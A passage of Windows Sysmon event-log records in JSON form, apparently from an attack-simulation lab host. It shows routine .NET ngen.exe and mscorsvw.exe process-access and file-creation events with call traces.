ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:05.026","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42F9-5F2D-0000-0010ACD20E00}","TargetProcessId":"3352","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7757,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:05.088\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42F9-5F2D-0000-0010A1D60E00}\r\nTargetProcessId: 3204\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:05.088","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42F9-5F2D-0000-0010A1D60E00}","TargetProcessId":"3204","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7758,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:05.088\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42F9-5F2D-0000-0010A1D60E00}\r\nTargetProcessId: 3204\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:05.088","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42F9-5F2D-0000-0010A1D60E00}","TargetProcessId":"3204","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7759,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:05.088\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42F9-5F2D-0000-0010A1D60E00}\r\nTargetProcessId: 3204\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:05.088","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42F9-5F2D-0000-0010A1D60E00}","TargetProcessId":"3204","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7760,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:05.166\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42CD-5F2D-0000-001021C60D00}\r\nTargetProcessId: 4248\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:05.166","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42CD-5F2D-0000-001021C60D00}","TargetProcessId":"4248","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7761,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:05.166\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42CD-5F2D-0000-001021C60D00}\r\nTargetProcessId: 4248\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:05.166","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42CD-5F2D-0000-001021C60D00}","TargetProcessId":"4248","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7762,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:05.166\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42CD-5F2D-0000-001021C60D00}\r\nTargetProcessId: 4248\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:05.166","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42CD-5F2D-0000-001021C60D00}","TargetProcessId":"4248","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7763,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:03:05.463\r\nProcessGuid: {90617006-42F9-5F2D-0000-00102ADA0E00}\r\nProcessId: 4248\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1098-0\\System.Management.Instrumentation.dll\r\nCreationUtcTime: 2020-08-07 12:03:05.463","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:03:05.463","ProcessGuid":"{90617006-42F9-5F2D-0000-00102ADA0E00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1098-0\\System.Management.Instrumentation.dll","CreationUtcTime":"2020-08-07 12:03:05.463","EventReceivedTime":"2020-08-07 12:03:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7764,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:05.510\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42CE-5F2D-0000-0010F2D00D00}\r\nTargetProcessId: 3960\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:05.510","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42CE-5F2D-0000-0010F2D00D00}","TargetProcessId":"3960","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsof